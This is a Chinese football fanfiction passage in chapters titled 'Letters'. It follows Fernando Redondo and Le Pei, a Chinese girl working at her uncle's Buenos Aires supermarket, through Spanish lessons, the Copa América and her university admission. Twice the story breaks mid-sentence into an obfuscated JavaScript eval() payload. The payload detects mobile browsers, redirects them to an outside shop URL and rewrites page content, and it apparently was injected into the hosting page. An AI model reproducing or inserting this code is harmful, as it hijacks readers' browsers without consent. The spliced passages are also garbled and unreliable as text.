《[足球]信笺》 1. 信笺(1) 冬日的傍晚,阿根廷青年人俱乐部结束了一天的日常训练,秋季联赛已经结束了,俱乐部不再强制晚饭必须在训练基地解决,球员们三三两两地走出基地大门,商量着接下来要去哪儿找乐子。 “天际线酒吧今晚有嘉年华主题派对,现在过去刚好赶得上。” “主题派对......只要有酒有好姑娘们,我没意见,等不及想去吃那儿的牛排了,真的好饿。” 正说着,一个队友和他们擦肩而过,一个小年轻叫住他,“费尔南多,你要来一起玩吗?” “我还有作业,祝你们玩得开心。”雷东多客套地笑笑,脚步不停,很快消失在夜色降临的街头。 “他肯定不会去啊,你叫他干什么?”多嘴的小年轻被朋友们抱怨了,委屈地辩解两句,“我只是随口问的,我当然知道他是大学生,和我们不一样。” 几个人絮絮叨叨地朝着反方向离开,费尔南多雷东多是俱乐部青训出身,优越的家境,良好的家教,还有大学学历,引用某个队友的话,‘雷东多和他们不是一个世界的人’。 不过没人敢因此给他脸色瞧,除开帅气的脸和永远精致的发丝,刚过20岁的年轻人已经有186的高壮身材,优雅的球风背后是火爆的脾气,任何一个冒犯到他的人都会挨揍,高材生的脏字和拳头同样有杀伤力。 好在一段时间的磨合后,队友们学会了怎么和他相处。球场上雷东多是可以交付信任的队友,球场下,他们大概永远玩不到一起去。 “费尔南多是俱乐部最厉害的球员,他早晚会被欧洲的俱乐部挖走的,或许是明年,或许就是下个月。” 雷东多走在他再熟悉不过的街道上,再穿过两个街区,绕过一片公园,就到他租的房子了,刚好在俱乐部和学院之间,不管是上课还是训练都很方便。 “还有作业”不过是临时找的借口,已经6月底了,学校放了冬假,就算经济学院再忙,雷东多也不至于把作业拖到现在。不过他确实有几本书想看,再过几天美洲杯就要开赛了,到时候恐怕没有太多阅读的时间。 第二个街区的路口,雷东多停下脚步。华人超市里明亮的灯光透过窗玻璃照在马路上,头顶‘胡安之家’的红色招牌亮起来,Juan的“n”接触不良,有气无力地闪着,看上去有些滑稽。 ‘终于开门了。’雷东多松了一口气,这是附近最大的超市,不太会做饭的他经常需要靠里面卖的速食产品才能解决晚饭。毕竟已经是大学生了,他也不好每天找父母蹭饭吃。 从他10岁加入阿根廷青年人的青训开始,‘胡安之家’一直在这个路口。老板夫妇是华人,操着不甚流利的西班牙语,为人和善,做生意实在,顾客络绎不绝,他们的超市也越来越大,这几年美国的新科技传进来后,还多了传真、打印、办电话卡的业务,包圆了周边居民的日常需求。 没人知道老板的名字,‘胡安之家’的招牌大概是上一个店铺留下来的,慢慢变成了华人超市的名字,大家也开始叫老板胡安,老板乐呵呵地应下来。 雷东多是超市的常客,小的时候他会偷偷拿着零花钱买点爸爸妈妈不让吃的零食,现在他离不开里面的生活必需品。胡安老板早就认识他了,在他第一次跟随一线队比赛的时候,送给他一份零食大礼包,哪怕那时候雷东多已经过了贪嘴的年纪。 华人超市从早到晚永远亮着灯,老板一家都住在这里。即使平安夜大餐的牛排卷缺了调味料,都能在这里买到,那时它大概是整个布宜诺斯艾利斯唯一还开张的超市。所以前天‘胡安之家’居然关了门,让雷东多很不适应。 走进超市,门口前台那个摇摆着一边胳膊的白猫摆件大声喊出‘欢迎光临’,这是雷东多唯一能听懂的一句中文。老板娘正在收银台忙碌着,抽空抬头看过来,见到是熟人,打了声招呼。 雷东多回以微笑,拖着购物框熟门熟路地穿过一排排琳琅满目的货架,肉罐头、火腿、速食意面挨个扔进框里,又转到生鲜区买水果。 刚挑了两个桃子,后背猝不及防被撞了一下,雷东多很快稳住身形,回头正看到一个拖着货物后退的女孩儿被地上的购物框绊到,狼狈地朝他摔过来。 “小心!” 雷东多连忙伸手,却没拉住人,女孩儿重重地磕在冷柜上,发出‘咚’的一声巨响,肉罐头从打翻的购物框里滚出来,打了两个转停在货架边。 “你没事吧?” “对不起!” 两道声音同时响起,女孩儿慌忙抬头,脸上愧疚的神色被雷东多尽收眼底。这是个亚裔女孩儿,穿着工作服大概是过来打工的中国人,扎着一条长长的马尾,头顶的碎发调皮地翘着,嘴唇上留着慌乱之中咬出来的牙印,脸上浮现出不好意思的红晕。 这是一个很漂亮的女孩儿。 漂亮的女孩儿也一直盯着他看,直到冷柜不合时宜地响了一声,才把两个年轻人惊醒。女孩儿没有看到雷东多伸过来的手,也顾不上撞疼的后背,连忙扶正购物框,掉出去的东西也一一捡回来,还不忘拍了拍上面不存在的灰。 “谢谢你。”雷东多接过女孩儿递过来的购物框,现在女孩儿站起来了,个头差不多到他的鼻子,看着他再次诚恳地说了一句“对不起”。 雷东多这才注意到她说的是英语,带了点可爱的口音,难道是刚来阿根廷还没有学会西班牙语吗? 刚才的动静引来了在仓库卸货的胡安老板,有点秃头的中年人急匆匆地赶来,“乐佩,这是怎么了?” 女孩儿说了两句雷东多听不懂的话,不顾老板的上下打量,推着堆满货物的手推车转到另一排货架后面去了。胡安老板这才转向雷东多,脸上挂着笑,“抱歉费尔南多,乐佩今天刚开始干活,她还有点不熟练。” “没关系,是她摔得比较厉害,可能得检查一下有没有受伤。” “是吗,我一会儿就让她婶婶帮忙看看。”胡安老板面上浮出一丝担忧,见雷东多听得仔细,还解释了两句,“乐佩(Rapunzel)是我的侄女,放暑假过来赚点零花钱。” 目送老板急匆匆叫着女孩儿的名字离开,雷东多继续挑完要买的东西,结账的时候不经意地回头,乐佩正站在货架前放牛奶,碎发碍事地在眼前扫来扫去,被她随手拨开,手掌不像之前那么红了。 乐佩没注意这些打量她的视线,大超市上货很辛苦,好在她已经习惯干活。所有的工作忙完,超市早过了客流量最多的时候,婶婶做好了饭,喊她和叔叔过去吃。 晚饭就摆在收银台后面,种类不多,一盘清蒸的虾,个头很大,炸好的鸡排,还有一碟炒青菜。乐佩生长在沿海城市,品相这么好的虾却没怎么吃过,还有金灿灿的鸡排,闻着就想流口水。 “你叔叔也真是的,才过来两天,时差都还没倒过来,就让你干活。要我说,应该带你在这里转转才行。”婶婶热情地给她夹了一块鸡排,“快多吃点。” 乐佩腼腆地道谢,“我能干得过来的,这些活不算太多。” 胡安老板看着自己乖巧的侄女,知道她在家里很小就要开始做家务照顾哥哥弟弟,心里不是滋味。“我带你过来是放暑假的,千万别累着,等通知书下来了,叔叔给你包个大红包。对了,联系好帮你取通知书的人了吗?” “我的班主任徐老师人很好,她愿意帮我代领,我留了她的地址。”乐佩说着,飞快剥好两只虾,却没有自己吃,而是放进了叔叔婶婶的碗里。 老板娘感动坏了,“这孩子,别管我们了,就当在自己家里一样......”说着说着她却没了声音,乐佩这 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乐佩难得有属于自己的时间,高考结束了,她也不用再每天点着灯蹲在院子里复习,一下子居然不知道该干什么。她翻出跨越了大半个地球背过来的琼瑶小说,摸着卷起来的页脚,却有点看不进去。 布宜诺斯艾利斯是她从没见过的城市模样,尽管只在车里路过了几条街区,她却已经被这里独特的风情吸引了,要知道来这里之前她连汽车都没怎么坐过。 这里的人长相也很新鲜,高鼻深目,长长的眼睫毛,有些白的吓人,有时会有黑皮肤厚嘴唇的人走进超市,身上飘着呛鼻子的香水味。这倒是比不上她用的香皂。 乐佩很感激能有离开家的机会,从小到大她其实没见过叔叔几次,只知道他在很远很远的地方做生意赚钱,还在那儿娶了媳妇,两个人曾经有过孩子,但几年前出意外夭折了。 在她的家乡几乎家家户户都有在海外的亲戚,还不断有年轻人通过各种途径跑出去投靠这些亲戚。当年叔叔离开的时候父母背地里并不看好,等他真的赚了钱成了家,又眼红他们的好运气。 这不影响乐佩喜欢记忆里那个穿着喇叭裤洋皮鞋给她买新衣服的胖胖的男人,当春天叔叔打来电话要乐佩毕业之后就去他那边帮忙的时候,乐佩想都没想就同意了。 父母也没有多言,虽然乐佩学习成绩很好,但他们并不觉得这对一个女孩子来说有什么用,哪怕她完全可以考上一个好大学。他们给乐佩的人生规划是本地的职业学校,或者出去打工,或者听家里的话相亲,早点结婚生孩子。 乐佩很小的时候就学会不要和父母作无谓的争论,家里人不同意她继续上学,那她自己再想办法就是了。这就显得叔叔的电话至关重要,如果没有他,乐佩一个暑假恐怕赚不够上学要用的生活费 头顶雪白的灯光提醒乐佩这已经不是在家里,她把糟心的事情赶出脑海,仰面躺在软乎乎的床上,心满意足地打了个滚。手心的红印已经没感觉了,刚才吃完饭婶婶看了她的后背,只是有点淤青,涂好的药油正散发着淡淡的味道。 她不由自主地想到害她这么倒霉的人,就算从小缺营养,乐佩还是长出了在老家很显眼的大高个。但那个男人比她高了快一头,穿着干净的衣服,身上的香味不像其他人那样刺鼻,头发梳得很整齐,就算乐佩对外国人的长相没什么兴趣,也得承认他长得很帅很精神。 而且他很好心,乐佩可不敢保证每个被她撞翻购物框的人都愿意拉她起来,声音也很温和。乐佩猜他年纪不大,晚饭的时候叔叔提过一嘴,他是附近一个足球俱乐部的运动员。 乐佩想象不来他在草地上和其他人一起追着球跑的样子,也不懂足球,但她莫名生出了想了解一下的念头。 明天开始该学西班牙语了,虽然英语已经让她头疼了很多年,但乐佩不想开学前离开的时候自己像个哑巴一样,至少得学会叫别人的名字吧。 2. 信笺(2) 对于没有比赛踢,实际上相当于放假的俱乐部球员来说,即将开始的美洲杯是他们接下来一个月最大的乐子。在阿根廷这一片对足球狂热的国土,正式比赛前的友谊赛也让球迷们十分期待。 为了看晚上和巴西的友谊赛,俱乐部甚至取消了下午的训练,娱乐室的电视屏幕虽然不大,但沙发很舒服,大家凑在一起看比赛很有氛围,还能讨论国家队的战术安排。 胆大包天的小年轻们讨论着可不可以偷偷带酒进来,“我们分开去超市买吧,一人带两瓶?教练先生肯定不会管的,这又不是赛季中!” “要带什么?我可以帮忙。”雷东多难得参与这些对话,队友受到了惊吓,“哈哈没什么,我们在说晚上的观赛,你也会来吧?” 雷东多笑着点头,另一个人趁机开了个玩笑,“费尔南多肯定会来的,他要看看日后在国家队的队友表现得怎么样对不对?” 大家纷纷附和,毕竟听说前段时间国家队教练萨尔达尼亚先生已经打电话到俱乐部了,除了找雷东多大家想不到别的原因。 雷东多没有解释什么,一个眼神劝退了队友几乎要搭在他肩上的手,“晚上我会来的,至于你们想要带的东西,交给我来买吧。” “费尔南多他,知道我们说的是啤酒吧,他会不会带一兜苏打水过来?” 队友们面面相觑,没人能回答这个问题,但他们也不敢再说偷偷买啤酒的事了,毕竟有时候雷东多身上的气场比教练还强。 雷东多当然知道队友要喝的是酒,只要晚上过来时路过超市买点就好。他没别人以为的那么不接地气,不过确实不怎么爱喝酒就是了。 冬日下午不太明媚的阳光只能在行人的后背留下薄薄一层暖意,雷东多站在胡安之家的门口,心情却不像他以为的那么稀松平常。 从那天在超市里遇上那个扎着马尾辫的女孩后,雷东多又来买了两次东西,但都没有再见到她。刚满20岁的雷东多先生难得生出一点赌气的心思,一连几天都没有再光顾。 尽管如此,他还是揽下了买酒的活计,这下有了不得不来超市的理由。 ‘我这是在做什么?只是买个东西而已,最近大概太无聊了吧。’看着午后安静的街道,雷东多在心里嘲笑自己幼稚的举动,伸手推开超市大门。 还是熟悉的“欢迎光临”声,雷东多看向前台,这个时间超市没什么人,胡安老板和老板娘都不在,只有那个女孩儿,埋着头在看书,听到门响的声音也没有抬头。 ‘不知道她在看什么,那么入迷。’雷东多心思回转,没有出声打扰,径直找啤酒去了。 乐佩来布宜诺斯艾利斯已经一个多星期了,在这里她收获了从来没有过的悠闲时光,没有了永远都干不完的家务活,不会再时不时被父母叫着名字骂一顿,而是可以享受独处,讨人厌的弟弟没办法再突然出现给她惹麻烦。 超市的工作也很清闲,哪怕是最累的装卸货物,叔叔婶婶也只是让她意思着干一点,“千万不能累着”。乐佩不想辜负他们的好心,总是抢着要帮忙,比如趁着下午人少的时候看店,好让他们在楼上睡个午觉。 乐佩脑子灵光,收银机看婶婶用了两遍就能上手,哪怕语言不通,她也敢在收银台应付顾客。叔叔自豪地夸她,“不愧是我们家第一个大学生,还是北京的大学。”让她很不好意思。 只是西班牙语的学习必须提上日程了,除去看从另一家唐人书店租来的金庸琼瑶繁体字小说,乐佩经常在下午日光斜照到前台的时候,用婶婶留下来的西班牙语课本学习。 ‘但它为什么是西英对照呢?’乐佩学了好几页,西班牙语还什么都不会说,反倒英语水平进步了不少,真是悲伤的故事。 “nombre......” 偶尔响起的念书声飞快消散在空气里。今天又是一个看不进教材的日子,乐佩枕着胳膊趴在前台,听书页哗啦啦的声音,铅笔在纸上漫无目的地游动着,在课文的缝隙里画了一个丑陋的丁老头。 “你在学西班牙语吗?” 乐佩被头顶突然响起的声音惊到,几乎是从桌子上弹起来,对上雷东多的笑容。一句“是你!”几乎脱口而出,又因为不会说憋在嗓子里,她的脸一下子就红了。 不能放任气氛这么不上不下地卡着,乐佩忽略因为嘴笨产生的郁闷,看到雷东多手边满满当当的购物框,伸手准备拿过来结账。不曾想购物框被拉开了,雷东多看着她,重复了一遍之前的问题。 “这是西班牙语吗?” “对。”乐佩不好意思地抿了抿耳边的头发,“你英语说得很好,我来这里之后你是第一个会说英语的人。” 雷东多第一次由衷感谢曾经的那些英语课,以前上学的时候,他也有过‘自己又不去英超踢球为什么要学这些’的蠢念头,他是个阿根廷人,怎么可能喜欢英国。“我在学校里学过一点。” “我也是,学了好久,实在有点难,但是西班牙语好像更难......” 乐佩停下不自觉的抱怨,好在面前的人似乎并不讨厌她的碎碎念。 “还是英语更难一点,”雷东多伸手指了指乐佩手里已经揉皱的旧书,“我能看看吗?” 乐佩当然没意见,把书转向柜台后雷东多的方向。 超市里没有别的顾客,玻璃透过的太阳光不知不觉地走着,慢慢划过门边地板上整齐的瓷砖。 乐佩默默打量着认真翻书的人,叔叔说他比自己大不了几岁,但已经完全是成年人的模样了。卷发在阳光下有些泛红,不像之前看到的褐色。长手长脚,高大的身材却没有其他人身上的压迫感,反而在温和中透出一点书卷气,修剪整齐的指甲,蹁跹的睫毛,他真的是足球运动员吗? 雷东多抬头的时候,正好对上乐佩认真看他的目光,他难得有些不自在,轻咳了一声,那道目光立刻移开了。 “这本书写的很好,非常适合入门。”雷东多才不懂西班牙语该怎么学,但他就是这么说了,“你很厉害,我们都会说两种语言,但你开始学第三种了。” 乐佩眼睛眨了又眨,“只是随便学学,没有人教我,我甚至不知道这些该怎么念。” 她只是客气两句,万万没有让眼前的人来教她的意思,但雷东多真的手指着课本上的词汇表,一个个念起来,语速慢地像是和牙牙学语的小孩说话。 没人知道事情是怎么发展成这样的,乐佩跟着雷东多把一整张词汇表念完,刚开始的时候她还不太敢出声,在雷东多鼓励的眼神下胆子才大了一点,而且她慢慢找到西语字母的规律了,好像确实比英语简单? 雷东多真心实意地夸奖,“你读得很好,学得很快。” 乐佩却没有接茬,犹豫了好一会儿,吞吞吐吐地蹦出来一句“??Cómo se llama?”(您叫什么?) 说完后她纠结地看向雷东多,这本书她看的一知半解,虽然刚才终于开口说了,但造一个句子还是有点难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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突然响起的‘欢迎光临’打断了两人之间有些微妙的气氛,胡安老板和朋友叙完旧回来了。柜台前的小年轻们不约而同地向后退开,同时错开了视线。 胡安老板没注意到他们的小动作,“费尔南多,今天居然下午过来了吗?”他看到被冷落了太久的购物框,了然地点点头,“晚上要和队友们看比赛?” 雷东多甚至愣了一下,“对,买完这些就去俱乐部了。” 乐佩也终于想起自己的本职工作,连忙把购物框拉过来,手脚麻利地扫过每件货物,整齐地放进购物袋里。 看着收银机上的数字,乐佩终于可以用英语念出来,而不是伸手尴尬地比划,或者干脆把屏幕放到顾客面前让他们自己看花了多少。 雷东多掏出钱包,递了大面值的钞票,乐佩果然认真找零到最后两位,和她的叔叔一样,算得很快,而且不愿意收小费。 “下次再见的时候你应该就能用西班牙语说出这些数字了。” “希望我能学得那么快。” 目送着雷东多离开的背影,乐佩慢吞吞地坐回去。再看手上的教材,不再像之前那样吓人了,她翻了几页,很快找到了数字对应的单元。 所以她明天应该就会念这些了,乐佩对自己充满信心。支着脑袋趴在收银台后,她的指尖摩挲着第一页刚刚留下的那串名字。 不管名字还是姓氏,都和以前见过的那些英文名不太一样,‘费尔南多’自带一点西班牙语的调调。所以买了那么多啤酒,他晚上是有聚会吗? 3. 信笺(3) 吃晚饭的时候,婶婶注意到乐佩的好心情,“白天遇到什么事了吗?心情很好诶。” 乐佩想收回脸上的笑,失败了。“没什么,只是发现西班牙语没有那么难。” “叔叔早就说过这个不难,我们小佩这么聪明,对不对?”胡安老板开始了每日例行吹嘘,乐佩已经从最开始的受宠若惊到现在的习以为常了。 “日常交流很简单的,你看婶婶都会说,你肯定学的更快。”婶婶也附和了两句,“我之前还以为你今天出成绩了。” 乐佩算了算日子,“应该快改完了,只是这边不太好收到消息。” “那有什么,马路对面那家邮局门口有一个公共电话亭,最里面的电话可以直接跨洋打到镇上。” 跨洋电话按秒计费,以前都是叔叔打电话到家里,父母和爷爷奶奶从来舍不得拨电话过来。乐佩有些顾虑,她怕话费太贵,也可能没办法第一时间联系到班主任。 胡安老板一下子看出她在想什么, “放宽心,一次接不到电话就多打几次,叔叔不差这点钱,每个送通知书的都有红包拿,这些电话费就当是红包了。” 老板娘也搭腔,“你的班主任可靠吗,一定要她把通知书保管好。婶婶没别的意思,只是通知书不能让......有的人拿走了,不然到时候没办法报名我们可亏大了。” 乐佩知道这里的‘有的人’是她的父母,嘴角的笑意没有变,“放心吧婶婶,我会注意的,班主任人很好,她也知道我的情况。” 美洲杯在7月终于开赛了,一共10支队伍,全部来自拉丁美洲。小组赛阶段分成两组进行组内单循环赛,各组前两名再进行4组内的单循环赛,最终按照积分和净胜球排出名次。 3年前的世界杯上马拉多纳带领着阿根廷夺得了冠军,但紧接着在美洲杯上输给了后来的冠军乌拉圭,只拿到第四名。 这一届国家队的人员和几年前有了很大的不同,但马拉多纳还在,阿根廷从上到下都对他们的队伍充满信心。 在这个为足球而生的国度,比赛正式开始之后的日子里,布宜诺斯艾利斯的街道上洋溢着节日一样的欢快气氛。 从那次在超市里聊天之后,雷东多又见到了乐佩好几次,只不过不再是无人清闲的午后,而是夜晚超市人最多的时候。 乐佩果然没过两天就学会了常用的几句西班牙语,她和顾客的交流越发顺畅,胡安老板放心地把收银的工作完全教给她,很少再让她去干装卸货物的重活。 常客们也慢慢和这个新来的收银员熟悉起来,谁会不喜欢动作麻利、长得漂亮还总是用笑容迎接他们的小姑娘呢? “你已经学会用西班牙语说数字了吗?” 在晚上最忙到脚不沾地的时候,突然从一串串让人头大的西班牙语中听到一句好听的英语,实在是幸福的事。乐佩循声抬头,雷东多站在正结账的老阿姨身后,眼神里是不加掩饰的笑意。 乐佩也抿嘴笑起来,却没和他搭话,而是飞快把老阿姨买的东西地打包装好,把塑料袋提兜小心地放到她手上,目送老人慢悠悠地离开,才转回头看他。 雷东多已经把要买的东西放好在收银台上,和他上两次过来买的东西没什么区别,乐佩熟练地开始扫码,嘴角的笑容却一直没有下去。 “费尔南多先生,您今天过得怎么样?” 最基本的西班牙语问候,从乐佩的嘴里说出来,带上了小朋友学说话之后想要炫耀的小心思。雷东多清了清嗓子接话,“我过得很棒,乐佩小姐,谢谢你的关心。” 乐佩没想到他这么配合,手上的动作慢下来,目光从屏幕移到雷东多脸上。对视之后两个人不约而同的笑出了声,乐佩眨眨眼睛挪开了视线,她心里突然冒出一些说不上来的高兴,站了许久的腰和腿也不酸了。 价钱很快算好,乐佩说数字的时候还要思考一下,但已经完全不会出错了。雷东多给钱之后,她和往常一样飞快地找零。 “这个牌子的味道很不错。”雷东多不着急接过零钱,而是从已经被乐佩装好的袋子里拿出一瓶酸奶,塞进她手里。 乐佩在结账的时候就注意到雷东多今天酸奶多买了,只没想到多的这一瓶是送给她的,她下意识想拒绝,雷东多却已经带着东西转身离开了,只留下一句,“晚安!” 在乐佩的老家,酸奶是个新鲜东西,南方不是畜牧大省,少有经常能喝牛奶的人。父母曾经给家里买过几瓶玻璃瓶装的酸奶,封口用橡皮筋绷着,里面的白色看上去很诱人。 那些酸奶不是给乐佩喝的,哥哥弟弟一人一瓶,吃完了留给乐佩洗瓶子。弟弟不爱喝没喝完,嘻嘻哈哈地剩下一点瓶底说要让她尝尝鲜,乐佩当着他的面把酸奶喂了狗,少不了因为浪费挨了一顿打骂。 曾经被家里人看做宝贝的东西,在乐佩来布宜诺斯艾利斯后全被叔叔婶婶投喂了一遍,乐佩现在很少想起这些曾经让她非常难过的往事,所有的一切都平淡地仿佛没有发生过。 看着手上雷东多递过来的酸奶,这个确实是味道最好的品牌。冰凉的瓶身上似乎还残留着一点他手上的温度,等到顾客变少乐佩坐下来歇脚的时候,刚好可以解决掉。 吸管发出哗哗的响声,没有人会过来打扰她一个人的清净,脑海中刚刚闪过的那点不好的回忆,早就被一阵风吹没了踪影。 接下来几天雷东多又来了两次,他们还是没有聊天的机会,就像其他过来买东西的普通顾客一样,最多在结账的时候寒暄两句。 对雷东多来说,那天的酸奶只是一时兴起,等走出超市晚风吹过,他就意识到自己的行为不太合适,如果算是朋友,他们似乎还没有熟悉到可以互相送礼的程度,他也没有给乐佩回礼的机会,实在有点冒犯。 纠结了一顿饭的功夫,第二天再见面的时候,雷东多没有再送别的小东西,还在犹豫要不要解释一下时,乐佩已经从柜台下面拿了一盒果切出来。 “谢谢你费尔南多,酸奶很好喝。”乐佩直接把果切直接和雷东多买的东西放在了一起,“超市里的水果都是最新鲜的,今天轮到我请你了。” 雷东多突然觉得自己的纠结很没意思。他笑着提起塑料袋,“我知道现在的柚子很甜,谢谢你。” 阿根廷队分在第二小组,第一轮和和智利的比赛1-0小胜拿下。 乐佩第一次见识到布市人对足球有多么疯狂,只是一场普通的小组赛,街上的热闹就持续到深夜,连超市所在的这个一向安静的社区,都乱糟糟地响着摩托车炸街的声音。 第二天人人来超市的时候脸上都洋溢着喜悦,哪怕从乐佩有些茫然的眼神中能看出她不懂足球,这些顾客也要在离开的时候对她大喊两句“胜利属于阿根廷”,整个超市的人都会跟着附和。 “他们就是这样,等过几天你就习惯了。”婶婶了然地安慰着僵住的乐佩,“阿根廷人太喜欢足球了,闹得你叔叔也跟着爱看,真搞不懂一群人追着一个球跑有什么意思。” 胡安老板连忙跳出来为自己的热爱辩白,“你不懂,足球太有魅力了,在胜利的那一刻之前经过的所有艰难都算不了什么。” 婶婶毫不客气地拆台,“哪里有一直赢的球队,输了怎么办?你就在床上躺一天什么都不干是吧。” 不想在侄女面前丢了面子,胡安老板摆摆手,挤眉弄眼地走开了,“你什么都不懂,我不跟你说。” 其实乐佩没有注意到他们说了什么,她在想婶婶说的话,她真正认识的阿根廷人只有一个,雷东多也会为了足球这样疯狂吗?他还是足球运动员,会不会比这些球迷更激动? 雷东多对足球的热爱不比任何一个人少,但他只有在上场赢下比赛的时候才会感情外放,把心中的激动表现出来。只是看比赛的话,他比队友们冷静多了。 阿根廷赢下智利的时候,其他人欢呼着相互拥抱,手里拿着的酒瓶子撒了大半,雷东多却只是安静地坐着,和找上他的队友一一击掌,心里还在思索着比赛中队伍暴露出来的问题。 球队的毛病出在哪里他很快就想明白了,不过作为一个刚在阿甲踢上比赛的球员,没人会关心他怎么看。 两天后的第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863587|191735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场比赛,问题暴露出来,他们和厄瓜多尔踢了0-0的平局,沉闷的比赛给所有阿根廷球迷泼了一盆冷水。 阿根廷队的进攻线不像大家想象的那样豪华,今年入选国家队的前锋们与马拉多纳之间并没有太好的配合。 球队速度也存在问题,阿根廷队跑得最快的风之子卡尼吉亚一直坐在替补席上,去年已经登陆欧洲的天才前锋意外地连续两场都没有出场机会。 卡尼吉亚赛后一脸烦躁,雷东多从电视上看到也感同身受。他虽然和比他大两岁的卡尼吉亚没什么交集,雷东多进国家队梯队的时候卡尼吉亚已经被一线队征召了,但天才球员之间有时不用说话也能理解对方的想法。 比赛在晚上8点多就结束了,雷东多独自一人从俱乐部回家,路上还在思考着如果自己有机会在这次国家队的比赛中上场,要怎样实现教练的战术安排,两场球之后他已经看出球队中后腰被布置了什么样的任务。 街道比两天前安静多了,哪怕只是平局并没有输球,球迷还是有些失望。天早就黑透,稀疏的路灯高高地照着,光亮洒在地面上的时候已经变得暗淡。 拐到熟悉的街道上时,雷东多轻轻叹了口气,胡安之家这个时间应该已经关门了。他也赶快回家吧。 慢慢走到路口,招牌果然已经不亮了,但卷帘门还半开着,前台却看不见人。雷东多慢慢走过去,注意到拐过弯的另一个街角,乐佩正站在公共电话亭里。 女孩儿不像前几次见面那样打扮得精神整齐,一贯扎起来的头发披散下来,又黑又长,柔顺地垂着,几乎盖住了整个后背。 她似乎要打一个紧急的电话,却一直拨不通,在电话亭里小碎步打转。 7月的夜晚,布宜诺斯艾利斯的气温只有个位数,但乐佩只穿着一件手打的红色毛衣,衬出白皙的脸颊,微微皱起来的细长眉毛下,眼尾上翘的漂亮眼睛低垂着,显然在走神。 这里的治安算是布市最好的地方之一,但女孩儿这么晚一个人出来还是不安全,雷东多默不作声地走近,女孩儿一直没有发现他。 乐佩在等班主任的电话,国内已经是第二天上午的八点多,昨晚按理说就要出录取结果了,一整个白天她在超市都有点走神,等到现在才来打电话, 本以为能直接打通,但电话那头学校通讯室的人说徐老师不在,他们得先去把人找回来,让她稍等一下。 因为着急打电话乐佩没来得及穿外套,站在背面漏风的电话亭里实在不好受,她心里焦虑,也懒得回去取衣服。 所以当一直吹进来的冷风突然消失的时候,乐佩第一时间回头,雷东多就站在电话亭门口,抬手和她打招呼。 “已经很晚了,你怎么还在外面?白天再过来打电话吧。” “我们这里白天的时候,我家那边要睡觉了。”乐佩眉头舒展开,无奈地笑了笑,“你怎么在这里,晚上有足球比赛吗?” “对,可惜没有赢。”雷东多后知后觉地意识到自己忽略了时差,不自在地摸了摸鼻子,岔开话题,“这通电话对你很重要吧。” 乐佩点点头,她该解释一下,但电话接通之前她不会有那个心情。手表在掌心翻来覆去地摩挲着,“如果你有什么想问的话,等我打完这通电话就告诉你。” 雷东多没意见,背包挽在小臂上靠在电话亭门口安静地等着。 乐佩没想到他居然真的留了下来,心里莫名涌起一点暖意,抚平了越来越烦躁的心情。路灯照亮电话亭里外的两个人,仿佛变成了整条街上唯一的色彩。 又过了五分钟,乐佩再次拨通电话,这次她终于等来了徐老师。 雷东多在16岁的时候跟随阿根廷U16梯队去中国参加过第一届世界青年锦标赛,他听不懂中文,却觉得乐佩说的话和他曾经听过的那些不太一样。语调也不同于说英语或西班牙语时的温吞,而是清冷干脆了许多。 在他思绪飞远的时候,乐佩已经挂掉电话转了过来,脸上的阴霾一扫而空,眼神里闪烁着高兴的亮光,“费尔南多!我收到大学的录取通知书了!” 4. 信笺(4) 雷东多从认识乐佩到现在,从来没有见过她开心成这个样子。即便如此,乐佩也没有太大动作,只是一直勾着唇角在笑,举到胸口的手紧紧攥成拳头。 他自己拿到大学录取通知书的时候也这样高兴吗? 布宜诺斯艾利斯大学作为阿根廷最好的大学,虽然申请有门槛,但在雷东多的印象里没有多少难度,只是因为阿根廷的球员里愿意继续上学的很少,才让人觉得他不容易。 “恭喜你,这是我今天听到的最好的消息。” 乐佩没有听见他的话,她还沉浸在巨大的激动之中,即便所有人都认为她考上是十拿九稳的事,真正收到消息的感觉还是不一样,这一天她等待太久了。 女孩儿注视着街道尽头的灯光,许久才垂下眼,用力的抿着嘴,雷东多看到了她眼角似乎有水光一闪而过,忍不住上前一步,“乐佩,你还好吗?” “哦,我没事,”乐佩像是终于意识到身边还有人,别过头去擦了擦眼睛,在转过脸来,表情已经恢复了正常,还带着点不好意思,“抱歉,我只是......” ‘在她的家乡上大学恐怕没那么简单。’雷东多第一次对自己见不到的乐佩的另一面感到好奇,他很想说自己是布宜诺斯艾利斯大学经济学院的学生,问问她要去哪里上大学,又是什么专业。 他最终只是笑着催促,“外面这么冷,你该赶快回去了,告诉胡安老板这个好消息。” 乐佩这才反应过来,火急火燎地跑向超市,叔叔果然站在门口,看见她跑过来就什么都明白了,脸上的担忧变成了自豪,还要强压着兴奋再确认一下,“考上啦?” “嗯!” “哎哟!我们家小佩考上了!” 婶婶听见声音,从超市里冲出来,高兴地抱住乐佩,“婶婶就知道你可以!你这么聪明,还努力,你不考上谁能去呢?老天爷开眼了啊。” 乐佩闻到婶婶身上淡淡的肥皂香味,这是以前从来没有过这样温暖的拥抱,她忍住没有抽鼻子,蹭着婶婶的肩膀抱了回去。 叔叔当然没抱她,害怕自己在阿根廷学会的热情把小侄女吓到,他只是昂首挺胸地走回超市,捞起果篮,里面的水果一把把塞给店里的顾客,“我侄女考上大学啦!这个送给你,拿回去吃吧!” 这个点还过来的只有零星几个老顾客,他们都认识这个新来了小半个月的小女孩儿,现在听到乐佩的好消息,纷纷鼓掌祝贺她,乐佩还没有从激动的情绪中缓过来,张了张嘴却什么都没说。 雷东多走进来的时候就看到乐佩被一个头发花白的老奶奶抱住,嘱咐她要好好学习,大学可不好毕业。 